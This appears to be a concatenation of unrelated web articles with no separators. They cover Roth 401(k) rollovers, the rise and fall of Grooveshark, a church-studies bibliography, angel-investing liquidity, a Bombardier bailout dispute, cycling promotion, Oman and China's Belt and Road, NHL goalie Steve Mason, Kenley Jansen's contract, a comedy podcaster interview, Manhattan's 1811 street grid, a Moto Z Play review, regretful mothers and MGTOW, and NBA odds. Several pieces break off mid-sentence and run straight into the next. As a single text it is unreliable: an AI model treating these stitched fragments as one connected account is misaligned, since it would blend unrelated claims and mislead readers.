If you leave a company you can roll a Roth 401(k) directly over into a Roth IRA. Good for high income individuals : High income individuals are limited when it comes to contributing to a Roth IRA. No such limitations exist for Roth 401(k).
: High income individuals are limited when it comes to contributing to a Roth IRA. No such limitations exist for Roth 401(k). Post tax contributions mean you pay no more tax: Like the Roth IRA you won't be paying any further tax on the money or earnings in retirement. It's a good way to diversify tax risk.
The Roth 401(k)combines some of the great parts of the Roth IRA – the tax free withdrawals at retirement – with the higher contribution limits of the traditional 401k. Because of that it's a great choice for a wide variety of investors, as long as their company's plan offers the Roth 401(k)as an option – which not all of them do.
Do you have a Roth 401(k)option in your plan, and are you taking advantage of it? Tell us your thoughts on the Roth 401(k)in the comments!
Share Pin Share Email Shares 10Sometime in early 2006, Josh Greenberg, a freshman at the University of Florida, began attending meetings at a school club for budding business types. The son of an electronics repairman, Greenberg was a model junior entrepreneur. In high school he’d run a small web design business; at 17, he’d incorporated it, printing his first run of business cards. Underage, he couldn’t legally serve on his company’s board of directors, so he appointed his grandfather as chairman. Now 19, Greenberg was looking to build something more concrete.
Having come of age in the dot-com era, Greenberg was invested in the myth of the dorm-room billionaire. In the late '90s, audacious entrepreneurs had built billion-dollar businesses in direct violation of copyright law, and they had flourished. One should move quickly, drop out of college, break the rules. Greenberg did all three, building a digital music platform that was years ahead of its time. Called Grooveshark, it helped sparked the music streaming revolution, and for a brief time in the late 2000s, it looked poised to eclipse iTunes, BitTorrent, and maybe even Spotify as the platform of the future. Grooveshark looked poised to eclipse iTunes, BitTorrent, and maybe even Spotify But Greenberg’s ambition blinded him to a quiet but enormously important shift — after years of acrimonious opposition, the technologists and the rights holders were beginning to cooperate. Behind the scenes, the creative industries were recapturing their ability to protect the flow of information. This shift was subtle at first; even most of the pundits missed it. With time, though, it became clear that Grooveshark was on the wrong side of the trend, and that the service was doomed. Earlier this spring, it streamed its final song. Then, last Sunday, Josh Greenberg was found dead in his home. The cause of death could not immediately be determined; it will be some time before a toxicology test provides the final answers. He had no history of illness, and his family said he had seemed upbeat about new ventures in the weeks before his death. Whatever the cause, his passing represents the end of an era — a bookend to a more radical chapter in the history of the internet.
Back in 2006, Greenberg didn’t even have a business plan. Instead, he simply showed up at the campus entrepreneurs’ club, prepared to offer his programming skills to anyone with a good idea. There he met another freshman, Sam Tarantino, who had a radical proposal — in the aftermath of Napster, he was going to get people to pay for music again. By combining Tarantino’s managerial ambitions with Greenberg’s technical skills, the two could make music piracy obsolete. A more experienced business partnership might have chosen a less ambitious goal It was not immediately clear how this was to be accomplished; a more experienced business partnership might have chosen a less ambitious goal. But Greenberg and Tarantino were young and eager to swim in the deep end. Within a few months, they’d incorporated a company, Escape Media Group, and debuted the earliest version of Grooveshark: a limited-use file-sharing application that offered some basic social networking capability alongside the ability to pay for downloadable mp3 files. It failed. They pulled it, added some functionality, and relaunched Grooveshark in beta. That failed, too. This was the mid-2000s, the high days of Kazaa, LimeWire, and BitTorrent. It was hard to compete with free. In late 2007, Grooveshark’s founders went back to the whiteboard. They were still college students, but now they had a couple years of experience and were learning to focus and think strategically. They realized their product was too complicated, and decided to focus on just one specific feature. Inspired by the success of YouTube, Greenberg and Tarantino reasoned that a next-generation shouldn’t sell mp3s at all. Instead, it should stream them, just as YouTube did with videos. And rather than selling files, they’d sell advertising, or, for premium users, even subscriptions. That way, they could subvert the pirates by abandoning the download model entirely. "We thought of the main silos of content on the internet," Greenberg would later say, "If you want photos, you go to Flickr or Google Images; if you want videos or shows, you go to YouTube or Hulu; but if you think music, there is no place to go to."
The Grooveshark streaming application launched in April of 2008 — several months ahead of Spotify. The service proved explosively popular from the outset. Users, especially younger users, loved on-demand music delivery, and Greenberg left school to focus on Grooveshark full time. But there was a problem: Grooveshark still relied on peer-to-peer infrastructure similar to Napster, Kazaa, and bitTorrent. In other words, although it functioned as a streaming service, it still sourced the music from its users’ file libraries. And to the record companies, that looked like copyright infringement. The |
; Gibbs & Bolger 2006, 92.
13 McLaren 2006, 204.
14 Ibid., 202-203.
15 Ibid., 27-29.
Drane, J.W. (2000) Cultural Change and Biblical Faith: The Future of the Church – Biblical and Missiological Essays for the New Century (Carlisle: Paternoster Press).
Cultural Change & Biblical Faith
Drane, J.W. (2000a) The McDonaldization of the Church (Darton,Longman & Todd Ltd).
The McDonaldization of the Church: Consumer Culture and the Church’s Future
Drane, J.W. (2008) After McDonaldization: Mission, Ministry, and Christian discipleship in an age of uncertainty (Darton,Longman & Todd Ltd).
After McDonaldization: Mission, Ministry, and Christian Discipleship in an Age of Uncertainty
Gibbs, E. and I. Coffey(2001) Church Next: Quantum Changes in Christian Ministry (Leicester: IVP).
ChurchNext: Quantum Changes in How We Do Ministry
Gibbs, E. and R. Bolger (2006) Emerging Churches (London: SPCK).
McLaren B.D. and Campolo, T. (2003) Adventures in Missing the Point: How the Culture-controlled Church Neutered the Gospel (Zondervan).
Adventures in Missing the Point: How the Culture-Controlled Church Neutered the Gospel
McLaren, B.D. (2006) Church on the Other Side (Grand Rapids: Zondervan).
The Church on the Other Side
AdvertisementsAh the good old days. Stocks up $25, $50, $100 more in a single day. Day trading was all the rage. Anyone and everyone you talked to had a story about how they had made a ton of money on such and such a stock. In an hour. Stock trading millionaires were being minted by the week, if not sooner.
You couldn’t go anywhere without people talking about the stock market. Everyone was in or new someone who was in. There were hundreds of companies that were coming public and could easily be bought and sold. You just pick a stock and buy it. Then you pray it goes up. Which most days it did.
Then it ended. Slowly by surely the air came out of the bubble and the stock markets declined and declined till the air was completely gone. The good news was that some people were able to see it coming and get out. The bad is that others were able to get out, but at significant losses.
If we thought it was stupid to invest in public internet websites that had no chance of succeeding back then, it’s worse today.
In a bubble there is always someone with a “great” idea pitching an investor the dream of a billion dollar payout with a comparison to an existing success story. In the tech bubble it was Broadcast.com, AOL, Netscape, etc. Today its, Uber, Twitter, Facebook, etc.
To the investor, its the hope of a huge payout. But there is one critical difference. Back then the companies the general public was investing in were public companies. They may have been horrible companies, but being public meant that investors had liquidity to sell their stocks.
The bubble today comes from private investors who are investing in apps and small tech companies.
Just like back then there were always people telling you their idea for a new website or about the public website they invested in, today people always have what essentially boils down to an app that they want you to invest in. But unlike back then when the dream of riches was from a public company, now its from a private company. And there in lies the rub.
People we used to call individual or small investors, are now called Angels. Angels. Why do they call them Angels? Maybe because they grant wishes?
According to some data I found, there are 225k Angels in the US. Like the crazy days of the internet boom, I wonder how many realize what they have gotten into?
But they are not alone.
For those who can’t figure out how to be Angels. You can sign up to be part of the new excitement called Equity Crowd Funding. Equity Crowd Funding allows you to join the masses to chase investments with as little as 5k dollars. Oh the possibilities!!
I have absolutely not doubt in my mind that most of these individual Angels and crowd funders are currently under water in their investments. Absolutely none. I say most. The percentage could be higher
Why?
Because there is ZERO liquidity for any of those investments. None. Zero. Zip.
All those Angel investments in all those apps and startups. All that crowdfunded equity. All in search of their unicorn because the only real salvation right now is an exit or cash pay out from operations. The SEC made sure that there is no market for any of these companies to go public and create liquidity for their Angels. The market for sub 25mm dollar raises is effectively dead. DOA. Gone. Thanks SEC. And with the new Equity CrowdFunding rules yet to be finalized, there is no reason to believe that the SEC will be smart enough to create some form of liquidity for all those widows and orphans who will put their $5k into the dream only to realize they can’t get any cash back when they need money to fix their car
So why is this bubble far worse than the tech bubble of 2000?
Because the only thing worse than a market with collapsing valuations is a market with no valuations and no liquidity.
If stock in a company is worth what somebody will pay for it, what is the stock of a company worth when there is no place to sell it?
I dont often check the comments here, If you want to discuss with me, hit me up on Cyber Dust app. Add the account AskMark and ask away
http://www.cyberdust.com/addme?askmarkOTTAWA — Liberal MPs have voted down a Conservative attempt to bring executives from Bombardier before a House of Commons committee to talk about the company’s finances.
The Conservatives moved a motion at the industry committee late Tuesday afternoon to hear from Bombardier and government officials about a federal bailout for the aerospace company.
The move led to a heated debate between Liberals and Conservatives that ended with Conservative MP Alexander Nuttall saying it was “incredibly blinding” to not have Bombardier testify before the federal budget.
The Quebec government has agreed to give Bombardier US$1 billion and the federal government has been asked to pony up an amount estimated to be the same as the provincial package.
Conservative MP Maxime Bernier, who introduced the motion to invite Bombardier executives to testify on why they need federal dollars, said opposition MPs likely won’t get any answers from Bombardier or the government about a possible bailout until after it is announced.
The move was part of a larger push by the Official Opposition to pressure the government over Bombardier’s future, a possible federal bailout for the company and the government’s decision not to allow a runway extension at the Billy Bishop airport in Toronto.
In 2013, Porter Airlines placed an order worth US$870 million for a dozen of Bombardier’s CSeries aircraft, on the condition that they would be allowed to fly into the Toronto island airport.
We’re saying to the government you can do a lot of things to help Bombardier without giving them taxpayer’s money
In November, the government announced it wouldn’t reopen its agreement with the City of Toronto and Ports Toronto and extend the runway at Billy Bishop to allow jets to land. That followed a promise made during the federal election.
A separate Conservative Opposition motion in the Commons called on the government to extend the runway at Billy Bishop to help Bombardier, rather than provide a corporate bailout.
“We’re saying to the government you can do a lot of things to help Bombardier without giving them taxpayer’s money,” Bernier said.
Transport Minister Marc Garneau said the decision to not extend the runway at the airport was a response to community concerns about the quality of life in Canada’s largest city.
During debate in the Commons, Garneau said the Tories were taking a “simplistic” view of the decision and its effect on Bombardier, arguing that view “ignores a much larger picture.”
“Bombardier is a first-class aerospace company and I’m sure that Bombardier is not going to rise or fall on the decision related to Billy Bishop airport,” Garneau said.Recently there was a report how to sell people on biking. Turns out that even though safety is a real concern, dwelling on safety messages kind of turns people off.
Is this really that surprising? Any salesperson would understand why.
(That’s why fine print was invented.)
So this got me thinking about advertising bicycling. What kind of messages would sell people on it? Probably the same things that sold me.
First of all, it’s easier to get things done:
While saving time on errands you also get exercise:
Oh, and if you are looking to make friends bikes can help with that too.
And if you found that you have one too many “friends” you can bike away from them.
So for positive bike messages that’s: exercise, quick errands, more time, less stress, enjoying time with friends, space when you need it, and more cake. That’s an easy sell, right? Now I just need some TV air time so I can make everybody get a bike.Oman to be a key player in China’s Silk Road revival plan
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Tokyo: Oman is positioned to play a significant role in China’s efforts to revive ancient maritime trade routes on land as the Sultanate had been at the centre of an Indian Ocean empire encompassing countries linked to China via old Silk Road.
Within this context, Oman has fully embraced ‘One Belt, One Road’ (OBOR). Moreover, as a stable country, Oman’s cohesion and security can only raise Beijing’s interest in the Sultanate.The OBOR initiative is China’s ambitious vision for restructuring the global economy.The ‘Diplomat International’ magazine published from Tokyo, affirmed that the Sultanate can be of special importance in the Silk Road Economic Belt, an initiative by China with the aim of reviving the old Silk Road, dating backto 2000 BC.The road was used for transporting goods between China, Central Asia, Persia, Arabs, Minor Asia and Europe. A report published by the magazine said that Oman, situated closer to East Africa, India, Iran, Pakistan, Yemen, and the Indian Ocean region rather than other GCC states, will be of immense strategic value to OBOR plans.As the world’s largest planned economic corridor, OBOR encompasses 60 countries and links China to Europe through ports, highways, bridges, tunnels, communications grids, and rail links along two pathways that traverse several regions.The “Belt” (the “Silk Road Economic Belt”) stretches from Western China to Europe via Central Asia. The “Road” (the “21st century Maritime Silk Road”) links China to Europe via the South China Sea, Indian Ocean, and Red Sea.It should be noted that China is currently spending about $150 billion on the countries that agreed to be part of the initiative, which was unveiled in 2013.Flyers goalie Steve Mason made 41 saves against the New York Rangers Monday night. (Photo: Bill Streicher-USA TODAY Sports)
VOORHEES For years, Steve Mason’s goalie partner back in juniors, Adam Dennis, bugged Mason to work with his goalie trainer in the summer. And for whatever reason, Mason never obliged.
This past summer, after the Flyers’ starter marveled at Rob Zepp’s first taste of the NHL last season, Mason decided to do it.
Dave Franco, a goalie coach who worked with Dennis, Zepp and former NHLers Jamie Storr and Cutris Joseph, now has a new fan.
“I’m feeling really, really happy with where my game’s at,” Mason said the day after making 41 saves against the New York Rangers. “This summer was the first summer I worked with a goaltender coach back home. I think that really gave me a solid base coming into camp to feel comfortable with and then another contributing factor is being able to come in and work with Kim (Dillabaugh, the Flyers’ new goalie coach) before camp started. It was the first time in my career that I was able to come into camp and get some solid goalie work in before camp started.”
There’s already been a bit of a payoff in Mason’s two preseason games, especially Monday night against a Rangers team that was about as close to an NHL team as you’ll see in preseason play.
Now 27 and in his eighth year in the league, Mason feels his new summer routine will give him an upper hand and will help him get even better. He won the Calder Trophy as the league’s best rookie in 2009, but had even better numbers last year with a career-best 2.25 goals-against average and.928 save percentage.
“He was on top of his game right away,” alternate captain Mark Streit said. “He was really confident. He moves really well and he sees the puck well. He has a lot of confidence. He’s physically in great shape. He’s one of those ‘new’ goaltenders, big, tall, covers a lot of net and moves really well. He’s been great in the past and he’s still young for a goalie. He’s only gonna get better.”
Perhaps it’s just part of growing up for Mason, who was so supremely unhappy in Columbus before being traded to the Flyers that he was ready to play out his contract, retire and throw his goalie pads in the trash. The goalie is now one of the Flyers’ vocal leaders and reacts better to things than he did as a younger netminder in the NHL.
“I think Mase has become a pro,” said general manager Ron Hextall, a former goalie. “He’s obviously in better shape than he was earlier in his career. The maintenance part, he knows his body. The nutrition part, I think all our guys are getting better. Mase is coming a long way. You leave the game and people always ask, ‘How do you want to be remembered?’ and most guys say, ‘I want to be remembered as a good teammate and a pro,’ and I think Mase is getting to the point where he’s a good pro.”
Mason’s.944 5-on-5 save percentage last year was the best in the NHL among starting goalies. He probably went under the radar last season as one of the game’s top goalies with Montreal’s Carey Price and Minnesota’s Devan Dubnyk getting most of the accolades.
“Maybe outside of Philadelphia (he went under the radar),” Hextall said. “I think people here realize what a good job he’s done for us. I think that’s possible outside of Philly.”
The improvement in his game, especially since being traded to Philadelphia April 3, 2013, shows that Mason is back to being all-in as an NHLer.
“I look back to last year and I thought Zepper was probably the best goalie in camp,” Mason said. “A lot of that has to do with the prep work that he put in. I wanted to make sure that this season I took that opportunity and built a relationship with Dave back home and I think it’s something that I’ll continue just because to have a goaltender coach not only for your team, but also back home that you can work with nonstop just to keep that base there is huge.”
Considering the Flyers are implementing a new system under rookie coach Dave Hakstol, the team may be relying on the goalie a little extra to clean up some mistakes, at least in the beginning.
“That’s the way it’s gonna be the first couple games,” Streit admitted. “If you have a goalie like him, you know he can keep you in the game. We want to clean that up as soon as possible and need him during the year. They had 16 shots in the first period. That’s a lot of shots, but it makes our life way easier because we have so much confidence in him.”
Dave Isaac; (856) 486-2479; disaac@gannettnj.com.When Kenley Jansen re-signed with the Dodgers, it was somewhat surprising due to the extent of the Miami Marlins’ and Washington Nationals’ offers. Jansen’s agent Adam Katz appeared on MLB Network Radio Tuesday to explain what changed.
Jansen married in Curocao over the weekend, alongside a number of his Dodger teammates. Katz said the extravaganza clearly changed Jansen’s thought process.
Adam Katz, Agent for Kenley Jansen on being instructed to get a deal done with the #Dodgers. https://t.co/oMxIx4CfFV — MLB Network Radio on SiriusXM (@MLBNetworkRadio) December 14, 2016
“At his wedding on Saturday, I think something pivoted for him. I think it was being with his teammates and his family. He got a jolt of how important family and continuity was. He called me over the weekend and said he was having difficulty processing leaving the Dodgers and instructed me to work hard to get it done.”
The tone was different at the start of free agency, according to Katz. He said he was instructed to explore the market, and described the process as “authentic.” Katz confirmed when Aroldis Chapman signed with New York, he and Jansen focused on three suitors. Jansen had long been rumored to prefer the biggest payday.
Katz was asked to confirm reports of Jansen taking a discount to stay in L.A. Washington reportedly had a better offer, and Miami, factoring in tax, also had a richer contract.
“Both deals might’ve been a little better economically, but like I said, he pivoted over the weekend and I don’t know what it was, but I think it was family, some teammates there,” Katz said. “He started focusing on his Dodger family, the community, the fans in L.A. It became difficult for him to process leaving, so he instructed me to knock it out and that’s what we did.”
https://twitter.com/redturn2/status/807845248630214660
Not a bad weekend for the Jansen family – both of them.Your show airs right after your fellow comedy- podcaster Marc Maron’s TV show, “Maron.” You two are sort of rivals. He seems to prefer stand-up to improv comedy.
Marc actually has a goofy sense of humor, but he doesn’t do that in his own act. His own act is more a personal examination of his own psychosis and born out of a desire to inform the audience about how many 20-year-olds are inclined to sleep with him. In his mind there is a difference between the wacky people and the real comics. I don’t see the distinction all that much.
You recently produced an episode of the web series “Between Two Ferns” that featured President Obama. You jokingly refer to him as “Barack Hussein Obamacare” on your podcast. Did the White House vet you at all?
I kept assuming that two days before filming, they would go: “Oops, hey, we red-flagged you. You joke about the president too much.” And when I was at the White House, they were talking about people that they would not let in because of YouTube videos they did. I asked very frankly, How did I get here? They said that the video was important to them. They wanted to do something authentic.
You have said that the president improvised a bit during the video. Come on, did he really?
He did, yeah. He came with certain insults that he wanted to say [to the host, Zach Galifianakis], and he said them. But a lot of the stuff that we ended up using was when it went off-script.
For a long time, you wrote movies and pilots that didn’t get made. Was that hard, writing into the void?
It was 10 years of just banging my head against the wall. It’s the reason I started doing the podcast, honestly. I figured I’m paid really well to do these screenplays, I’ll just do this thing for fun in my spare time. I wasn’t thinking, If I do a podcast, an emerging comedy network, IFC, is going to hear it, and be a fan of it and try to turn it into a TV show. There’s no way you can plan for that stuff.
I want to go back to Marc Maron.
Oh, boy. I’m sensing you just wanted to talk to Marc Maron.
No — as a way of poking fun at him, you like to ask your podcast guests about the source of the pain that makes them funny. So, can you tell me about that pain in your life?
Here come the waterworks. I was kind of a nerd, and I was bullied a lot, and I found that if I could make the bully laugh he might not want to beat me up. Being funny was a stalling tactic.The grid, which incorporated some existing roads, would also prove surprisingly resilient. It accommodated motor vehicles (after sidewalks and stoops were pruned). It allowed planners to superimpose Central Park in the 19th century and superblocks like those of Stuyvesant Town and Lincoln Center in the 20th. In the 21st, the grid was extended west to include apartment houses on Riverside Boulevard.
“The 200-foot-long block is short enough to provide continuous diversity for the pedestrian, and the tradition of framing out the grid by building to the street-wall makes New York streets walkable and vibrant,” said Amanda M. Burden, the director of city planning.
“The grid does not limit us,” said Scott M. Stringer, the Manhattan borough president. “It gives us a foundation to adjust to and a way to navigate Manhattan.”
But some have reservations. Tony Hiss, author of “In Motion: The Experience of Travel,” said that while the grid contributes orderliness, “I still think it distances us from our natural surroundings, and it has given us a slightly spurious and diminished mental geometry.”
“We think more in terms of linear blocks than neighborhoods,” Mr. Hiss continued.
What made the grid plan, formally called the Commissioners’ Map and Survey of Manhattan Island, so farsighted was that in 1811 a vast majority of New York City’s population lived below what became Houston Street — tellingly named North Street then. When City Hall was completed that year, its rear facade was covered with cheaper brownstone (in part, legend had it, because of the notion that since most New Yorkers lived south of the building, they would see it only from the front).
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Yet while largely exempting the existing village of Greenwich, the visionary commissioners imposed their 2,000-block matrix on the forests, farms, salt marshes, country estates and common lands that extended north for nearly eight miles to what would become 155th Street, and expanded the city’s plotted land area by nearly fivefold.
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“To some it may be a matter of surprise that the whole island has not been laid out as a city,” the commissioners — Gouverneur Morris, Simeon De Witt and John Rutherfurd — wrote. “To others it may be a subject of merriment that the commissioners have provided space for a greater population than is collected at any spot on this side of China.”
“To have gone further,” they noted without irony, “might have furnished materials to the pernicious Spirit of Speculation.” They concluded nonetheless that “it is perhaps no unreasonable conjecture that in half a century” the 1811 city of some 60,000 would be “closely built up” as far as 34th Street and would “contain 400,000 souls.”
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The commissioners were prescient, but they underestimated. In 1860 (38 years before the four other boroughs were consolidated into the city) and decades after the commissioners’ surveyor, John Randel Jr., had staked out the intersections with marble monuments and iron rods, an army of laborers had begun to level and even pave the undulating landscape (Manahatta, by one definition, meant Island of Hills). New York was already bursting with more than 800,000 souls.
“What I found absolutely remarkable,” said Hilary Ballon, an urban studies professor at New York University and curator of a future exhibition on the grid for the Museum of the City of New York, “was how the city had a commitment to executing this vision, which required a pretty significant transformation in how the city worked — a greater degree of governmental authority, changes in the taxation system to fund this road building, and a multigenerational commitment to its implementation.”
In contrast to Pierre L’Enfant’s grandiose national capital, the street commissioners adopted what Reuben Skye Rose-Redwood, a geographer and expert on the grid, described as “a physical representation of the Cartesian coordinate system.”
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The urban grid goes back beyond Hippodamus of Miletus, the Greek urban planner, who, like the street commissioners, viewed the matrix as a manifestation of “the rationality of civilized life.” New York’s grid inspired planners elsewhere. But nowhere, wrote Edward K. Spann, an urban historian, “was the triumph of the grid as decisive as in America’s greatest city.”
Concerned about averting fire and disease, the commissioners rejected crooked, narrow streets like those downtown. Yet they provided for relatively few parks, reasoning that Manhattan was flanked by two refreshing rivers. They conceived a 240-acre military parade ground and a public market connected by a canal to deliver produce from the East River.
Without envisioning mass transit, motor vehicles, tenements or skyscrapers (the vertical grid), they mapped more crosstown streets than avenues because they figured most traffic would go between the rivers. Officials later extended Broadway, originally a meandering Indian path, and added Lexington and Madison Avenues.
The grid constituted a high-stakes chessboard for speculators (the value of property in Manhattan more than doubled from 1842 to 1860). Corrupt politicians also profited from inflated construction contracts.
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Dr. Rose-Redwood calculated that in 1811, of the 1,865 buildings north of Houston Street, 721 stood on newly mapped streets and had to be either razed or moved. As executed, natural topography was ignored (stranding some houses on bluffs). Driving streets through private property sparked not-in-my-backyard revolts. Owners were compensated, though tax assessments also rose on properties bordering the new streets. Clement Clarke Moore, before making a fortune parceling out his Chelsea property and claiming authorship of “A Visit From St. Nicholas,” characterized the commissioners as “men who would have cut down the seven hills of Rome.”
But Joel Towers, the executive dean of Parsons the New School for Design, suggests that the grid presents an opportunity, now that climate change and rising sea levels elevate topography to the urban agenda.
“What will the city look like over the next 200 years?” he asked. “Maybe we can start to think of all those backyards and roofs as sponges, as a permeable landscape. Over the course of 200 years, our infrastructure will be built piece by piece, block by block, community by community. That’s very different from 1811, when you could just bulldoze the land.”We like the Moto Z and it’s bigger, bulkier cousin the Moto Z Force. They’re speedy, elegant phones with a good approach to modular add-ons—as opposed to the LG G5, whose “take the whole phone apart” approach to modules doesn’t sit well with us.
Those other two Moto Z phones are expensive, high-end, premium devices. The Moto Z Play takes the same general concepts, and compatibility with the same Moto Mods, and brings it down to an affordable price point: about $450. And really, unless you simply need to have a phone with screaming-fast benchmark scores, this more affordable model is a better phone. Really!
Finding the sweet spot
The Moto Z aims to be so thin that you can slap a Moto Mod on the back and still have a “regular phone” thickness, and the Moto Z Force adds a shaterproof display and bigger battery. The Moto Z Play doesn't push the envelope. It is concerned with finding the sweet spot between price and performance.
Structurally, it’s nearly identical to the Moto Z Force. It’s almost exactly the same size and thickness, with a metal band around the rim where the Force has a heavily beveled edge. I’d prefer a little more separation between the power and volume buttons on the right side, and the plastic bit surrounding the USB-C port looks a little cheap, but for a phone in this price range it looks and feels good.
Jason Cross I could use a little more space between the power and volume buttons, but the overall design of the Moto Z Play belies its price.
Motorola gets the price down by downgrading the system-on-chip (SoC) from a top-end Snapdragon 820 to a mid-range Snapdragon 625, with 3 gigs of RAM and 32GB of storage. The 5.5-inch display resolution is reduced from quad HD (2560x1440) to full HD (1920x1080). Frankly, at this size, full HD is just fine and probably the smarter choice. Higher resolutions are primarily only useful for VR. The display is otherwise bright and colorful with good viewing angles and excellent visibility in bright sunlight. By default it’s a little oversaturated with slightly blue white balance, but choosing “standard” color mode in the settings helped alleviate both problems.
Jason Cross USB-C and a headphone jack? The mid-range Moto Z one-ups its more expensive pals.
You’ll notice a headphone jack next to that USB-C port on the bottom. You know, that important core technology stupidly missing from the Moto Z and Z Force. The square fingerprint sensor beneath the display is quite fast and accurate, but is sadly not a home button. I would prefer that it was, with capacitive Recent and Back buttons to either side, instead of on-screen controls. Or at least give me the option to use physical buttons and reclaim that screen real estate.
A smooth experience
With a Snapdragon 625, the Moto Z Play isn’t going to win any benchmark charts. Even among other mid-priced phones; the OnePlus 3 manages to slap a Snapdragon 820 into a $400 phone. But Motorola’s version of Android is smooth and highly optimized. It looks nearly identical to stock Android 6.0.1, with a few extras added on. It’s the same stuff Motorola has added to its phones for the last year or so: Moto Voice (extensions to the usual suite of Google voice commands which work with the phone asleep), Moto Actions (gestures to launch specific functions, like a double-chop to turn on the flashlight), and Moto Display (time and notifications on the lock screen, that display when you wave your hand over it or when a new notification comes in).
Particularly in 3D graphics, the Moto Z Play falls behind its competitors with top-end processors.
It’s a good software experience, and one I’d love to see more Android makers emulate. Rather than make Android look and feel entirely different (I'm looking at you, Samsung), Motorola stuck with the general design, layout, look, and feel of standard Android and simply extended it with smart, useful features. Perhaps more importantly, it’s all very fast and fluid. The mid-range Snapdragon 625 has no trouble keeping the interface quick and responsive. Unless you play a lot of high-end 3D games or do lots of photo or video editing on your phone, you’re unlikely to run into a scenario where the Moto Z Play feels slower than most phones with high-end processors.
Crazy good battery life
One chart says it all. If only all those $700 phones had battery life this good.
The Moto Z Play has a 3510 mAh battery—about the same as that in the Moto Z Force. That’s big by any measure. And with a less power-hungry SoC and a 1080p display, this phone places fewer demands on it than do those high-end phones.
Nearly 3 days on standby and the battery has only dropped 20%.
The result is truly epic battery life. With the display calibrated to 200 cd/m², this phone lasted 15 hours 47 minutes in the PCMark battery test. That’s nearly twice as long as the OnePlus 3 or Galaxy S7 edge! It’s not just in benchmarks, either. I used the phone for two days, on and off, without charging it. I left it sitting idle for nearly 3 days and the battery only dropped from 100% to 80%. A big battery, efficient display and processor, and Motorola’s highly optimized software all combine to give you a phone with some of the best battery life I’ve ever seen.
A respectable camera
It's not very exciting to say it, but the Moto Z Play has a pretty good camera. That's it: pretty good. It doesn't hold a candle to Samsung's best or the newest iPhones, but it's not the slow, grainy disappointment Motorola buyers were stuck with in years past. You get a 16 megapixel sensor with fairly large 1.3 micron pixels, f/2.0 aperture lens, both phase detect and laser autofocus, and dual-tone LED flash. The front camera takes "good enough" selfies with its 5 megapixel sensor, wide-angle lens, and front-facing flash.
Jason Cross Low light shots can be a touch grainy, but you can get a great shot if your subject cooperates.
Low-light performance is above par for this price class, though there is some room for improvement. You get a decent pro mode that lets you adjust focus, white balance, shutter speed, and ISO, but you can't save RAW images. Serious video shooters may be disappointed to find that you're limited to 30 frames per second at all resolutions up to 4K, save for a single 720p/120fps slow motion mode.
Despite the occasional grainyness and limited dynamic range common to more affordable phones, you can get some really nice shots with the Moto Z Play, and it focuses very quickly with minimal shutter lag. The "pocket to photo" experience could be a touch faster, but doesn't disappoint.
Pro photo mode gives you plenty of controls, but lacks the ability to save RAW image files.
It's a testament to how far smartphone cameras have come to think that this would be industry-leading camera performance as little as two years ago.
A great buy, but not from Verizon
At $450, the Moto Z Play is a great buy. Yes, you can get the OnePlus 3 with more storage and a bigger processor for the same price. But the Moto Z’s incredible battery life, excellent display, lean software with useful enhancements, and compatibility with Moto Mods make a great case for it. With a price more than $200 less than the Moto Z or Moto Z Force, not to mention vastly superior battery life and an actual headphone jack, this Mot Z Play is a better choice for most consumers.
But this phone will spend about a month or so as a Verizon exclusive, and you don’t want that version. Verizon adds a whole slew of obnoxious bloatware apps including its own messenger app, NFL Mobile, it’s own map app, and more. You can disable most of these, but can’t delete them. What's more, Verizon has a terrible record of updating Motorola phones with the latest version of Android.
I recommend you wait until the direct, carrier-unlocked version goes on sale in October and grab one of those, even if you're on Verizon's network. If you're on AT&T or T-Mobile, you might consider the international variant, which doesn't support CDMA (Sprint and Verizon) but does work with more GSM frequencies and LTE bands. You can avoid the carrier bloat and stand a better chance of getting more timely OS and security updates by buying the unlocked versions.In last month's Marie Claire, Sarah Leaven takes us "Inside the growing movement of women who wish they'd never have kids." The headline is self-explanatory. More and more women, the piece says, are now coming forward and saying the unthinkable: I regret having my children.
This is different from post-partum depression because the feeling that one has made a life-altering and irreversible mistake persists for life, even after the children have grown up.
Due to the fear of societal backlash - which considers having such an opinion taboo - many of these communities have taken shape online on anonymous chat rooms and "buried" message boards.
There's a Facebook group called "I Regret Having Children", as well as sub-communities on Quora and Reddit. There are books on the subject, like German author Sarah Fischer's The Mother Bliss Lie: Regretting Motherhood.
Becoming a parent is a fraught decision in contemporary times, and women have chosen to articulate their concerns in various ways. Caring for an infant is a time-consuming job, which more often than not falls on the mother. Several women have spoken of a sense of annihilation of self.
In 100 Essays I Don't Have Time to Write, Sarah Ruhl confesses: "There were times when it felt as though my children were annihilating me. Finally I came to the thought, All right, then, annihilate me; that other self was a fiction anyhow. And then I could breathe. I could investigate the pauses. I found that life intruding on writing was, in fact, life. And that, tempting as it may be for a writer who is also a parent, one must not think of life as an intrusion. At the end of the day, writing has very little to do with writing, and much to do with life. And life, by definition, is not an intrusion."
Caring for an infant is a time-consuming job, which more often than not falls on the mother. (Photo credit: Balkaninsight.com)
While women express their doubts about having children, elsewhere, the Independent reports, men have lost interest in the idea of marriage itself.
Tens of thousands of men have formed an online community called MGTOW, or Men Going Their Own Way. This growing movement advocates eschewing romantic entanglement and encourages what they see as "each man's fight for sovereignty of himself".
Homosexuality is out; on forums men talk about the advantages of paid heterosexual sex and rail against pop songs as "feminist propaganda". Fifteen thousand men are registered on Reddit's MGTOW page and that's only one platform. MGTOW stated ambition is to cut through collective ideas of what a man is supposed to be.
MGTOW men extol their virgin status ( |
ability. If there are two things voters love it’s raw numbers and a good narrative.
If someone from this year’s class is going to best Simmons, it’s going to be one of the high-upside players. I already said Fultz was a safe pick because of his high floor, but he also has arguably the highest ceiling: see the Harden comp, above. I should also mention that four of the last six ROY-winners have been no. 1 overall picks: Blake Griffin (2011), Kyrie Irving (2012), Andrew Wiggins (2015), and Karl-Anthony Towns (2016). This year is going to buck the trend (unless voters give Embiid, who played less than half the season, the award), but this year is also unique in its rookie suck-atude.
Monk cracks the top five because of his (streaky) ability to fill it up. If he lands in the right spot, he could become the focal point of an offense from day one.
2017 NBA Playoff Odds
2017 NBA Finals Matchup Odds
Warriors vs Cavaliers: 4/9
Warriors vs Celtics: 7/2
Cavaliers vs Spurs: 14/1
Spurs vs Celtics: Hahaha! I mean 50/1
Can the feisty Celtics catapult the Cavs from their perch atop the Eastern Conference? It’s possible, given the Cavs’ reliance on the three-ball and their shoddy defense.
Can the Spurs upset the Warriors with an injured Kawhi Leonard? Gregg Popovich has worked miracles before.
Will both of those outcomes come to fruition at the same time? I’ma go with no.
2017 NBA Title Odds
Warriors: 1/2
Cavaliers: 11/4
Spurs: 19/1
Celtics: 40/1
When the Warriors win the title, the team should eschew the old fashioned Gatorade bath and, instead, cover the entire coaching staff with a thick layer of chalk.
